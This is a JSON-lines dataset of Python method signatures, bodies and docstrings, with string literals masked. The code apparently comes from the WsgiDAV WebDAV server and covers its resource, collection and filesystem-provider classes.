{"signature": "def set_property_value(self, name, value, dry_run=False):", "body": "assert value is None or xml_tools.is_etree_element(value)<EOL>if name in _lockPropertyNames:<EOL><INDENT>raise DAVError(<EOL>HTTP_FORBIDDEN, err_condition=PRECONDITION_CODE_ProtectedProperty<EOL>)<EOL><DEDENT>config = self.environ[\"<STR_LIT>\"]<EOL>mutableLiveProps = config.get(\"<STR_LIT>\", [])<EOL>if (<EOL>name.startswith(\"<STR_LIT>\")<EOL>and name in _standardLivePropNames<EOL>and name in mutableLiveProps<EOL>):<EOL><INDENT>if name in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>try:<EOL><INDENT>return self.set_last_modified(self.path, value.text, dry_run)<EOL><DEDENT>except Exception:<EOL><INDENT>_logger.warning(<EOL>\"<STR_LIT>\".format(<EOL>self.path<EOL>)<EOL>)<EOL><DEDENT><DEDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>if name.startswith(\"<STR_LIT>\"):<EOL><INDENT>agent = self.environ.get(\"<STR_LIT>\", \"<STR_LIT:None>\")<EOL>win32_emu = config.get(\"<STR_LIT>\", {}).get(\"<STR_LIT>\", False)<EOL>if win32_emu and \"<STR_LIT>\" not in agent:<EOL><INDENT>if \"<STR_LIT>\" in name:<EOL><INDENT>return self.set_last_modified(self.path, value.text, dry_run)<EOL><DEDENT>elif \"<STR_LIT>\" in name:<EOL><INDENT>return True<EOL><DEDENT>elif \"<STR_LIT>\" in name:<EOL><INDENT>return True<EOL><DEDENT>elif \"<STR_LIT>\" in name:<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>pm = self.provider.prop_manager<EOL>if pm and not name.startswith(\"<STR_LIT>\"):<EOL><INDENT>refUrl = self.get_ref_url()<EOL>if value is None:<EOL><INDENT>return pm.remove_property(refUrl, name, dry_run, self.environ)<EOL><DEDENT>else:<EOL><INDENT>value = etree.tostring(value)<EOL>return pm.write_property(refUrl, name, value, dry_run, self.environ)<EOL><DEDENT><DEDENT>raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Set a property value or remove a property.\n\n        value == None means 'remove property'.\n        Raise HTTP_FORBIDDEN if property is read-only, or not supported.\n\n        When dry_run is True, this function should raise errors, as in a real\n        run, but MUST NOT change any data.\n\n        This default implementation\n\n        - raises HTTP_FORBIDDEN, if trying to modify a locking property\n        - raises HTTP_FORBIDDEN, if trying to modify an immutable {DAV:}\n          property\n        - handles Windows' Win32LastModifiedTime to set the getlastmodified\n          property, if enabled\n        - stores everything else as dead property, if a property manager is\n          present.\n        - raises HTTP_FORBIDDEN, else\n\n        Removing a non-existing prop is NOT an error.\n\n        Note: RFC 4918 states that {DAV:}displayname 'SHOULD NOT be protected'\n\n        A resource provider may override this method, to update supported custom\n        live properties.", "id": "f8596:c0:m24"}
{"signature": "def remove_all_properties(self, recursive):", "body": "if self.provider.prop_manager:<EOL><INDENT>self.provider.prop_manager.remove_properties(<EOL>self.get_ref_url(), self.environ<EOL>)<EOL><DEDENT>", "docstring": "Remove all associated dead properties.", "id": "f8596:c0:m25"}
{"signature": "def prevent_locking(self):", "body": "return False<EOL>", "docstring": "Return True, to prevent locking.\n\n        This default implementation returns ``False``, so standard processing\n        takes place: locking (and refreshing of locks) is implemented using\n        the lock manager, if one is configured.", "id": "f8596:c0:m26"}
{"signature": "def is_locked(self):", "body": "if self.provider.lock_manager is None:<EOL><INDENT>return False<EOL><DEDENT>return self.provider.lock_manager.is_url_locked(self.get_ref_url())<EOL>", "docstring": "Return True, if URI is locked.", "id": "f8596:c0:m27"}
{"signature": "def create_empty_resource(self, name):", "body": "assert self.is_collection<EOL>raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Create and return an empty (length-0) resource as member of self.\n\n        Called for LOCK requests on unmapped URLs.\n\n        Preconditions (to be ensured by caller):\n\n          - this must be a collection\n          - <self.path + name> must not exist\n          - there must be no conflicting locks\n\n        Returns a DAVResuource.\n\n        This method MUST be implemented by all providers that support write\n        access.\n        This default implementation simply raises HTTP_FORBIDDEN.", "id": "f8596:c0:m29"}
{"signature": "def create_collection(self, name):", "body": "assert self.is_collection<EOL>raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Create a new collection as member of self.\n\n        Preconditions (to be ensured by caller):\n\n          - this must be a collection\n          - <self.path + name> must not exist\n          - there must be no conflicting locks\n\n        This method MUST be implemented by all providers that support write\n        access.\n        This default implementation raises HTTP_FORBIDDEN.", "id": "f8596:c0:m30"}
{"signature": "def get_content(self):", "body": "assert not self.is_collection<EOL>raise NotImplementedError<EOL>", "docstring": "Open content as a stream for reading.\n\n        Returns a file-like object / stream containing the contents of the\n        resource specified.\n        The calling application will close() the stream.\n\n        This method MUST be implemented by all providers.", "id": "f8596:c0:m31"}
{"signature": "def begin_write(self, content_type=None):", "body": "assert not self.is_collection<EOL>raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Open content as a stream for writing.\n\n        This method MUST be implemented by all providers that support write\n        access.", "id": "f8596:c0:m32"}
{"signature": "def end_write(self, with_errors):", "body": "pass<EOL>", "docstring": "Called when PUT has finished writing.\n\n        This is only a notification. that MAY be handled.", "id": "f8596:c0:m33"}
{"signature": "def handle_delete(self):", "body": "return False<EOL>", "docstring": "Handle a DELETE request natively.\n\n        This method is called by the DELETE handler after checking for valid\n        request syntax and making sure that there are no conflicting locks and\n        If-headers.\n        Depending on the return value, this provider can control further\n        processing:\n\n        False:\n            handle_delete() did not do anything. WsgiDAV will process the request\n            by calling delete() for every resource, bottom-up.\n        True:\n            handle_delete() has successfully performed the DELETE request.\n            HTTP_NO_CONTENT will be reported to the DAV client.\n        List of errors:\n            handle_delete() tried to perform the delete request, but failed\n            completely or partially. A list of errors is returned like\n            ``[ (<ref-url>, <DAVError>), ... ]``\n            These errors will be reported to the client.\n        DAVError raised:\n            handle_delete() refuses to perform the delete request. The DAVError\n            will be reported to the client.\n\n        An implementation may choose to apply other semantics and return True.\n        For example deleting '/by_tag/cool/myres' may simply remove the 'cool'\n        tag from 'my_res'.\n        In this case, the resource might still be available by other URLs, so\n        locks and properties are not removed.\n\n        This default implementation returns ``False``, so standard processing\n        takes place.\n\n        Implementation of this method is OPTIONAL.", "id": "f8596:c0:m34"}
{"signature": "def support_recursive_delete(self):", "body": "assert self.is_collection<EOL>raise NotImplementedError<EOL>", "docstring": "Return True, if delete() may be called on non-empty collections\n        (see comments there).\n\n        This method MUST be implemented for collections (not called on\n        non-collections).", "id": "f8596:c0:m35"}
{"signature": "def delete(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Remove this resource (recursive).\n\n        Preconditions (ensured by caller):\n\n          - there are no conflicting locks or If-headers\n          - if support_recursive_delete() is False, and this is a collection,\n            all members have already been deleted.\n\n        When support_recursive_delete is True, this method must be prepared to\n        handle recursive deletes. This implies that child errors must be\n        reported as tuple list [ (<ref-url>, <DAVError>), ... ].\n        See http://www.webdav.org/specs/rfc4918.html#delete-collections\n\n        This function\n\n          - removes this resource\n          - if this is a non-empty collection, also removes all members.\n            Note that this may only occur, if support_recursive_delete is True.\n          - For recursive deletes, return a list of error tuples for all failed\n            resource paths.\n          - removes associated direct locks\n          - removes associated dead properties\n          - raises HTTP_FORBIDDEN for read-only resources\n          - raises HTTP_INTERNAL_ERROR on error\n\n        This method MUST be implemented by all providers that support write\n        access.", "id": "f8596:c0:m36"}
{"signature": "def handle_copy(self, dest_path, depth_infinity):", "body": "return False<EOL>", "docstring": "Handle a COPY request natively.\n\n        This method is called by the COPY handler after checking for valid\n        request syntax and making sure that there are no conflicting locks and\n        If-headers.\n        Depending on the return value, this provider can control further\n        processing:\n\n        False:\n            handle_copy() did not do anything. WsgiDAV will process the request\n            by calling copy_move_single() for every resource, bottom-up.\n        True:\n            handle_copy() has successfully performed the COPY request.\n            HTTP_NO_CONTENT/HTTP_CREATED will be reported to the DAV client.\n        List of errors:\n            handle_copy() tried to perform the copy request, but failed\n            completely or partially. A list of errors is returned like\n            ``[ (<ref-url>, <DAVError>), ... ]``\n            These errors will be reported to the client.\n        DAVError raised:\n            handle_copy() refuses to perform the copy request. The DAVError\n            will be reported to the client.\n\n        An implementation may choose to apply other semantics and return True.\n        For example copying '/by_tag/cool/myres' to '/by_tag/hot/myres' may\n        simply add a 'hot' tag.\n        In this case, the resource might still be available by other URLs, so\n        locks and properties are not removed.\n\n        This default implementation returns ``False``, so standard processing\n        takes place.\n\n        Implementation of this method is OPTIONAL.", "id": "f8596:c0:m37"}
{"signature": "def copy_move_single(self, dest_path, is_move):", "body": "raise NotImplementedError<EOL>", "docstring": "Copy or move this resource to destPath (non-recursive).\n\n        Preconditions (ensured by caller):\n\n          - there must not be any conflicting locks on destination\n          - overwriting is only allowed (i.e. destPath exists), when source and\n            dest are of the same type ((non-)collections) and a Overwrite='T'\n            was passed\n          - destPath must not be a child path of this resource\n\n        This function\n\n          - Overwrites non-collections content, if destination exists.\n          - MUST NOT copy collection members.\n          - MUST NOT copy locks.\n          - SHOULD copy live properties, when appropriate.\n            E.g. displayname should be copied, but creationdate should be\n            reset if the target did not exist before.\n            See http://www.webdav.org/specs/rfc4918.html#dav.properties\n          - SHOULD copy dead properties.\n          - raises HTTP_FORBIDDEN for read-only providers\n          - raises HTTP_INTERNAL_ERROR on error\n\n        When is_move is True,\n\n          - Live properties should be moved too (e.g. creationdate)\n          - Non-collections must be moved, not copied\n          - For collections, this function behaves like in copy-mode:\n            detination collection must be created and properties are copied.\n            Members are NOT created.\n            The source collection MUST NOT be removed.\n\n        This method MUST be implemented by all providers that support write\n        access.", "id": "f8596:c0:m38"}
{"signature": "def handle_move(self, dest_path):", "body": "return False<EOL>", "docstring": "Handle a MOVE request natively.\n\n        This method is called by the MOVE handler after checking for valid\n        request syntax and making sure that there are no conflicting locks and\n        If-headers.\n        Depending on the return value, this provider can control further\n        processing:\n\n        False:\n            handle_move() did not do anything. WsgiDAV will process the request\n            by calling delete() and copy_move_single() for every resource,\n            bottom-up.\n        True:\n            handle_move() has successfully performed the MOVE request.\n            HTTP_NO_CONTENT/HTTP_CREATED will be reported to the DAV client.\n        List of errors:\n            handle_move() tried to perform the move request, but failed\n            completely or partially. A list of errors is returned like\n            ``[ (<ref-url>, <DAVError>), ... ]``\n            These errors will be reported to the client.\n        DAVError raised:\n            handle_move() refuses to perform the move request. The DAVError\n            will be reported to the client.\n\n        An implementation may choose to apply other semantics and return True.\n        For example moving '/by_tag/cool/myres' to '/by_tag/hot/myres' may\n        simply remove the 'cool' tag from 'my_res' and add a 'hot' tag instead.\n        In this case, the resource might still be available by other URLs, so\n        locks and properties are not removed.\n\n        This default implementation returns ``False``, so standard processing\n        takes place.\n\n        Implementation of this method is OPTIONAL.", "id": "f8596:c0:m39"}
{"signature": "def support_recursive_move(self, dest_path):", "body": "assert self.is_collection<EOL>raise NotImplementedError<EOL>", "docstring": "Return True, if move_recursive() is available (see comments there).", "id": "f8596:c0:m40"}
{"signature": "def move_recursive(self, dest_path):", "body": "raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Move this resource and members to destPath.\n\n        This method is only called, when support_recursive_move() returns True.\n\n        MOVE is frequently used by clients to rename a file without changing its\n        parent collection, so it's not appropriate to reset all live properties\n        that are set at resource creation. For example, the DAV:creationdate\n        property value SHOULD remain the same after a MOVE.\n\n        Preconditions (ensured by caller):\n\n          - there must not be any conflicting locks or If-header on source\n          - there must not be any conflicting locks or If-header on destination\n          - destPath must not exist\n          - destPath must not be a member of this resource\n\n        This method must be prepared to handle recursive moves. This implies\n        that child errors must be reported as tuple list\n        [ (<ref-url>, <DAVError>), ... ].\n        See http://www.webdav.org/specs/rfc4918.html#move-collections\n\n        This function\n\n          - moves this resource and all members to destPath.\n          - MUST NOT move associated locks.\n            Instead, if the source (or children thereof) have locks, then\n            these locks should be removed.\n          - SHOULD maintain associated live properties, when applicable\n            See http://www.webdav.org/specs/rfc4918.html#dav.properties\n          - MUST maintain associated dead properties\n          - raises HTTP_FORBIDDEN for read-only resources\n          - raises HTTP_INTERNAL_ERROR on error\n\n        An implementation may choose to apply other semantics.\n        For example copying '/by_tag/cool/myres' to '/by_tag/new/myres' may\n        simply add a 'new' tag to 'my_res'.\n\n        This method is only called, when self.support_recursive_move() returns\n        True. Otherwise, the request server implements MOVE using delete/copy.\n\n        This method MAY be implemented in order to improve performance.", "id": "f8596:c0:m41"}
{"signature": "def resolve(self, script_name, path_info):", "body": "raise NotImplementedError<EOL>", "docstring": "Return a _DAVResource object for the path (None, if not found).\n\n        `path_info`: is a URL relative to this object.\n\n        DAVCollection.resolve() provides an implementation.", "id": "f8596:c0:m42"}
{"signature": "def finalize_headers(self, environ, response_headers):", "body": "pass<EOL>", "docstring": "Perform custom operations on the response headers.\n\n        This gets called before the response is started.\n        It enables adding additional headers or modifying the default ones.", "id": "f8596:c0:m43"}
{"signature": "def get_content_length(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the byte length of the content.\n\n        MUST be implemented.\n\n        See also _DAVResource.get_content_length()", "id": "f8596:c1:m1"}
{"signature": "def get_content_type(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Contains the Content-Type header returned by a GET without accept\n        headers.\n\n        This getcontenttype property MUST be defined on any DAV compliant\n        resource that returns the Content-Type header in response to a GET.\n        See http://www.webdav.org/specs/rfc4918.html#PROPERTY_getcontenttype", "id": "f8596:c1:m2"}
{"signature": "def get_content(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Open content as a stream for reading.\n\n        Returns a file-like object / stream containing the contents of the\n        resource specified.\n        The application will close() the stream.\n\n        This method MUST be implemented by all providers.", "id": "f8596:c1:m3"}
{"signature": "def support_ranges(self):", "body": "return False<EOL>", "docstring": "Return True, if this non-resource supports Range on GET requests.\n\n        This default implementation returns False.", "id": "f8596:c1:m4"}
{"signature": "def begin_write(self, content_type=None):", "body": "raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Open content as a stream for writing.\n\n        This method MUST be implemented by all providers that support write\n        access.", "id": "f8596:c1:m5"}
{"signature": "def end_write(self, with_errors):", "body": "pass<EOL>", "docstring": "Called when PUT has finished writing.\n\n        This is only a notification that MAY be handled.", "id": "f8596:c1:m6"}
{"signature": "def resolve(self, script_name, path_info):", "body": "if path_info in (\"<STR_LIT>\", \"<STR_LIT:/>\"):<EOL><INDENT>return self<EOL><DEDENT>return None<EOL>", "docstring": "Return a _DAVResource object for the path (None, if not found).\n\n        Since non-collection don't have members, we return None if path is not\n        empty.", "id": "f8596:c1:m7"}
{"signature": "def create_empty_resource(self, name):", "body": "raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Create and return an empty (length-0) resource as member of self.\n\n        Called for LOCK requests on unmapped URLs.\n\n        Preconditions (to be ensured by caller):\n\n          - this must be a collection\n          - <self.path + name> must not exist\n          - there must be no conflicting locks\n\n        Returns a DAVResuource.\n\n        This method MUST be implemented by all providers that support write\n        access.\n        This default implementation simply raises HTTP_FORBIDDEN.", "id": "f8596:c2:m3"}
{"signature": "def create_collection(self, name):", "body": "assert self.is_collection<EOL>raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Create a new collection as member of self.\n\n        Preconditions (to be ensured by caller):\n\n          - this must be a collection\n          - <self.path + name> must not exist\n          - there must be no conflicting locks\n\n        This method MUST be implemented by all providers that support write\n        access.\n        This default implementation raises HTTP_FORBIDDEN.", "id": "f8596:c2:m4"}
{"signature": "def get_member(self, name):", "body": "assert self.is_collection<EOL>return self.provider.get_resource_inst(<EOL>util.join_uri(self.path, name), self.environ<EOL>)<EOL>", "docstring": "Return child resource with a given name (None, if not found).\n\n        This method COULD be overridden by a derived class, for performance\n        reasons.\n        This default implementation calls self.provider.get_resource_inst().", "id": "f8596:c2:m5"}
{"signature": "def get_member_names(self):", "body": "assert self.is_collection<EOL>raise NotImplementedError<EOL>", "docstring": "Return list of (direct) collection member names (UTF-8 byte strings).\n\n        This method MUST be implemented.", "id": "f8596:c2:m6"}
{"signature": "def support_recursive_delete(self):", "body": "return False<EOL>", "docstring": "Return True, if delete() may be called on non-empty collections\n        (see comments there).\n\n        This default implementation returns False.", "id": "f8596:c2:m7"}
{"signature": "def delete(self):", "body": "raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Remove this resource (possibly recursive).\n\n        This method MUST be implemented if resource allows write access.\n\n        See _DAVResource.delete()", "id": "f8596:c2:m8"}
{"signature": "def copy_move_single(self, dest_path, is_move):", "body": "raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Copy or move this resource to destPath (non-recursive).\n\n        This method MUST be implemented if resource allows write access.\n\n        See _DAVResource.copy_move_single()", "id": "f8596:c2:m9"}
{"signature": "def support_recursive_move(self, dest_path):", "body": "return False<EOL>", "docstring": "Return True, if move_recursive() is available (see comments there).", "id": "f8596:c2:m10"}
{"signature": "def move_recursive(self, dest_path):", "body": "raise DAVError(HTTP_FORBIDDEN)<EOL>", "docstring": "Move this resource and members to destPath.\n\n        This method MAY be implemented in order to improve performance.", "id": "f8596:c2:m11"}
{"signature": "def resolve(self, script_name, path_info):", "body": "if path_info in (\"<STR_LIT>\", \"<STR_LIT:/>\"):<EOL><INDENT>return self<EOL><DEDENT>assert path_info.startswith(\"<STR_LIT:/>\")<EOL>name, rest = util.pop_path(path_info)<EOL>res = self.get_member(name)<EOL>if res is None or rest in (\"<STR_LIT>\", \"<STR_LIT:/>\"):<EOL><INDENT>return res<EOL><DEDENT>return res.resolve(util.join_uri(script_name, name), rest)<EOL>", "docstring": "Return a _DAVResource object for the path (None, if not found).\n\n        `path_info`: is a URL relative to this object.", "id": "f8596:c2:m12"}
{"signature": "def set_mount_path(self, mount_path):", "body": "assert mount_path in (\"<STR_LIT>\", \"<STR_LIT:/>\") or not mount_path.endswith(\"<STR_LIT:/>\")<EOL>self.mount_path = mount_path<EOL>", "docstring": "Set application root for this resource provider.\n\n        This is the value of SCRIPT_NAME, when WsgiDAVApp is called.", "id": "f8596:c3:m3"}
{"signature": "def set_share_path(self, share_path):", "body": "<EOL>assert share_path == \"<STR_LIT>\" or share_path.startswith(\"<STR_LIT:/>\")<EOL>if share_path == \"<STR_LIT:/>\":<EOL><INDENT>share_path = \"<STR_LIT>\"  <EOL><DEDENT>assert share_path in (\"<STR_LIT>\", \"<STR_LIT:/>\") or not share_path.endswith(\"<STR_LIT:/>\")<EOL>self.share_path = share_path<EOL>", "docstring": "Set application location for this resource provider.\n\n        @param share_path: a UTF-8 encoded, unquoted byte string.", "id": "f8596:c3:m4"}
{"signature": "def ref_url_to_path(self, ref_url):", "body": "return \"<STR_LIT:/>\" + compat.unquote(util.lstripstr(ref_url, self.share_path)).lstrip(<EOL>\"<STR_LIT:/>\"<EOL>)<EOL>", "docstring": "Convert a refUrl to a path, by stripping the share prefix.\n\n        Used to calculate the <path> from a storage key by inverting get_ref_url().", "id": "f8596:c3:m7"}
{"signature": "def get_resource_inst(self, path, environ):", "body": "raise NotImplementedError<EOL>", "docstring": "Return a _DAVResource object for path.\n\n        Should be called only once per request and resource::\n\n            res = provider.get_resource_inst(path, environ)\n            if res and not res.is_collection:\n                print(res.get_content_type())\n\n        If <path> does not exist, None is returned.\n        <environ> may be used by the provider to implement per-request caching.\n\n        See _DAVResource for details.\n\n        This method MUST be implemented.", "id": "f8596:c3:m8"}
{"signature": "def exists(self, path, environ):", "body": "return self.get_resource_inst(path, environ) is not None<EOL>", "docstring": "Return True, if path maps to an existing resource.\n\n        This method should only be used, if no other information is queried\n        for <path>. Otherwise a _DAVResource should be created first.\n\n        This method SHOULD be overridden by a more efficient implementation.", "id": "f8596:c3:m9"}
{"signature": "def is_collection(self, path, environ):", "body": "res = self.get_resource_inst(path, environ)<EOL>return res and res.is_collection<EOL>", "docstring": "Return True, if path maps to an existing collection resource.\n\n        This method should only be used, if no other information is queried\n        for <path>. Otherwise a _DAVResource should be created first.", "id": "f8596:c3:m10"}
{"signature": "def custom_request_handler(self, environ, start_response, default_handler):", "body": "return default_handler(environ, start_response)<EOL>", "docstring": "Optionally implement custom request handling.\n\n        requestmethod = environ[\"REQUEST_METHOD\"]\n        Either\n\n        - handle the request completely\n        - do additional processing and call default_handler(environ, start_response)", "id": "f8596:c3:m11"}
{"signature": "def unicode_to_wsgi(u):", "body": "<EOL>return u.encode(_filesystemencoding, \"<STR_LIT>\").decode(\"<STR_LIT>\")<EOL>", "docstring": "Convert an environment variable to a WSGI 'bytes-as-unicode' string.", "id": "f8597:m0"}
{"signature": "def wsgi_to_bytes(s):", "body": "<EOL>return s.encode(\"<STR_LIT>\")<EOL>", "docstring": "Convert a native string to a WSGI / HTTP compatible byte string.", "id": "f8597:m1"}
{"signature": "def get_content(self):", "body": "assert not self.is_collection<EOL>return open(self._file_path, \"<STR_LIT:rb>\", BUFFER_SIZE)<EOL>", "docstring": "Open content as a stream for reading.\n\n        See DAVResource.get_content()", "id": "f8599:c0:m9"}
{"signature": "def begin_write(self, content_type=None):", "body": "assert not self.is_collection<EOL>if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>return open(self._file_path, \"<STR_LIT:wb>\", BUFFER_SIZE)<EOL>", "docstring": "Open content as a stream for writing.\n\n        See DAVResource.begin_write()", "id": "f8599:c0:m10"}
{"signature": "def delete(self):", "body": "if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>os.unlink(self._file_path)<EOL>self.remove_all_properties(True)<EOL>self.remove_all_locks(True)<EOL>", "docstring": "Remove this resource or collection (recursive).\n\n        See DAVResource.delete()", "id": "f8599:c0:m11"}
{"signature": "def copy_move_single(self, dest_path, is_move):", "body": "if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>fpDest = self.provider._loc_to_file_path(dest_path, self.environ)<EOL>assert not util.is_equal_or_child_uri(self.path, dest_path)<EOL>shutil.copy2(self._file_path, fpDest)<EOL>propMan = self.provider.prop_manager<EOL>if propMan:<EOL><INDENT>destRes = self.provider.get_resource_inst(dest_path, self.environ)<EOL>if is_move:<EOL><INDENT>propMan.move_properties(<EOL>self.get_ref_url(),<EOL>destRes.get_ref_url(),<EOL>with_children=False,<EOL>environ=self.environ,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>propMan.copy_properties(<EOL>self.get_ref_url(), destRes.get_ref_url(), self.environ<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "See DAVResource.copy_move_single()", "id": "f8599:c0:m12"}
{"signature": "def support_recursive_move(self, dest_path):", "body": "return True<EOL>", "docstring": "Return True, if move_recursive() is available (see comments there).", "id": "f8599:c0:m13"}
{"signature": "def move_recursive(self, dest_path):", "body": "if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>fpDest = self.provider._loc_to_file_path(dest_path, self.environ)<EOL>assert not util.is_equal_or_child_uri(self.path, dest_path)<EOL>assert not os.path.exists(fpDest)<EOL>_logger.debug(\"<STR_LIT>\".format(self._file_path, fpDest))<EOL>shutil.move(self._file_path, fpDest)<EOL>if self.provider.prop_manager:<EOL><INDENT>destRes = self.provider.get_resource_inst(dest_path, self.environ)<EOL>self.provider.prop_manager.move_properties(<EOL>self.get_ref_url(),<EOL>destRes.get_ref_url(),<EOL>with_children=True,<EOL>environ=self.environ,<EOL>)<EOL><DEDENT>", "docstring": "See DAVResource.move_recursive()", "id": "f8599:c0:m14"}
{"signature": "def set_last_modified(self, dest_path, time_stamp, dry_run):", "body": "<EOL>secs = util.parse_time_string(time_stamp)<EOL>if not dry_run:<EOL><INDENT>os.utime(self._file_path, (secs, secs))<EOL><DEDENT>return True<EOL>", "docstring": "Set last modified time for destPath to timeStamp on epoch-format", "id": "f8599:c0:m15"}
{"signature": "def get_member_names(self):", "body": "<EOL>nameList = []<EOL>assert compat.is_unicode(self._file_path)<EOL>for name in os.listdir(self._file_path):<EOL><INDENT>if not compat.is_unicode(name):<EOL><INDENT>name = name.decode(sys.getfilesystemencoding())<EOL><DEDENT>assert compat.is_unicode(name)<EOL>fp = os.path.join(self._file_path, name)<EOL>if not os.path.isdir(fp) and not os.path.isfile(fp):<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(fp))<EOL>continue<EOL><DEDENT>name = compat.to_native(name)<EOL>nameList.append(name)<EOL><DEDENT>return nameList<EOL>", "docstring": "Return list of direct collection member names (utf-8 encoded).\n\n        See DAVCollection.get_member_names()", "id": "f8599:c1:m6"}
{"signature": "def get_member(self, name):", "body": "assert compat.is_native(name), \"<STR_LIT>\".format(name)<EOL>fp = os.path.join(self._file_path, compat.to_unicode(name))<EOL>path = util.join_uri(self.path, name)<EOL>if os.path.isdir(fp):<EOL><INDENT>res = FolderResource(path, self.environ, fp)<EOL><DEDENT>elif os.path.isfile(fp):<EOL><INDENT>res = FileResource(path, self.environ, fp)<EOL><DEDENT>else:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(path))<EOL>res = None<EOL><DEDENT>return res<EOL>", "docstring": "Return direct collection member (DAVResource or derived).\n\n        See DAVCollection.get_member()", "id": "f8599:c1:m7"}
{"signature": "def create_empty_resource(self, name):", "body": "assert \"<STR_LIT:/>\" not in name<EOL>if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>path = util.join_uri(self.path, name)<EOL>fp = self.provider._loc_to_file_path(path, self.environ)<EOL>f = open(fp, \"<STR_LIT:wb>\")<EOL>f.close()<EOL>return self.provider.get_resource_inst(path, self.environ)<EOL>", "docstring": "Create an empty (length-0) resource.\n\n        See DAVResource.create_empty_resource()", "id": "f8599:c1:m8"}
{"signature": "def create_collection(self, name):", "body": "assert \"<STR_LIT:/>\" not in name<EOL>if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>path = util.join_uri(self.path, name)<EOL>fp = self.provider._loc_to_file_path(path, self.environ)<EOL>os.mkdir(fp)<EOL>", "docstring": "Create a new collection as member of self.\n\n        See DAVResource.create_collection()", "id": "f8599:c1:m9"}
{"signature": "def delete(self):", "body": "if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>shutil.rmtree(self._file_path, ignore_errors=False)<EOL>self.remove_all_properties(True)<EOL>self.remove_all_locks(True)<EOL>", "docstring": "Remove this resource or collection (recursive).\n\n        See DAVResource.delete()", "id": "f8599:c1:m10"}
{"signature": "def copy_move_single(self, dest_path, is_move):", "body": "if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>fpDest = self.provider._loc_to_file_path(dest_path, self.environ)<EOL>assert not util.is_equal_or_child_uri(self.path, dest_path)<EOL>if not os.path.exists(fpDest):<EOL><INDENT>os.mkdir(fpDest)<EOL><DEDENT>try:<EOL><INDENT>shutil.copystat(self._file_path, fpDest)<EOL><DEDENT>except Exception:<EOL><INDENT>_logger.exception(\"<STR_LIT>\".format(self._file_path))<EOL><DEDENT>propMan = self.provider.prop_manager<EOL>if propMan:<EOL><INDENT>destRes = self.provider.get_resource_inst(dest_path, self.environ)<EOL>if is_move:<EOL><INDENT>propMan.move_properties(<EOL>self.get_ref_url(),<EOL>destRes.get_ref_url(),<EOL>with_children=False,<EOL>environ=self.environ,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>propMan.copy_properties(<EOL>self.get_ref_url(), destRes.get_ref_url(), self.environ<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "See DAVResource.copy_move_single()", "id": "f8599:c1:m11"}
{"signature": "def support_recursive_move(self, dest_path):", "body": "return True<EOL>", "docstring": "Return True, if move_recursive() is available (see comments there).", "id": "f8599:c1:m12"}
{"signature": "def move_recursive(self, dest_path):", "body": "if self.provider.readonly:<EOL><INDENT>raise DAVError(HTTP_FORBIDDEN)<EOL><DEDENT>fpDest = self.provider._loc_to_file_path(dest_path, self.environ)<EOL>assert not util.is_equal_or_child_uri(self.path, dest_path)<EOL>assert not os.path.exists(fpDest)<EOL>_logger.debug(\"<STR_LIT>\".format(self._file_path, fpDest))<EOL>shutil.move(self._file_path, fpDest)<EOL>if self.provider.prop_manager:<EOL><INDENT>destRes = self.provider.get_resource_inst(dest_path, self.environ)<EOL>self.provider.prop_manager.move_properties(<EOL>self.get_ref_url(),<EOL>destRes.get_ref_url(),<EOL>with_children=True,<EOL>environ=self.environ,<EOL>)<EOL><DEDENT>", "docstring": "See DAVResource.move_recursive()", "id": "f8599:c1:m13"}
{"signature": "def set_last_modified(self, dest_path, time_stamp, dry_run):", "body": "<EOL>secs = util.parse_time_string(time_stamp)<EOL>if not dry_run:<EOL><INDENT>os.utime(self._file_path, (secs, secs))<EOL><DEDENT>return True<EOL>", "docstring": "Set last modified time for destPath to timeStamp on epoch-format", "id": "f8599:c1:m14"}
{"signature": "def _loc_to_file_path(self, path, environ=None):", "body": "root_path = self.root_folder_path<EOL>assert root_path is not None<EOL>assert compat.is_native(root_path)<EOL>assert compat.is_native(path)<EOL>path_parts = path.strip(\"<STR_LIT:/>\").split(\"<STR_LIT:/>\")<EOL>file_path = os.path.abspath(os.path.join(root_path, *path_parts))<EOL>if not file_path.startswith(root_path):<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(<EOL>file_path<EOL>)<EOL>)<EOL><DEDENT>file_path = util.to_unicode_safe(file_path)<EOL>return file_path<EOL>", "docstring": "Convert resource path to a unicode absolute file path.\n        Optional environ argument may be useful e.g. in relation to per-user\n        sub-folder chrooting inside root_folder_path.", "id": "f8599:c2:m2"}
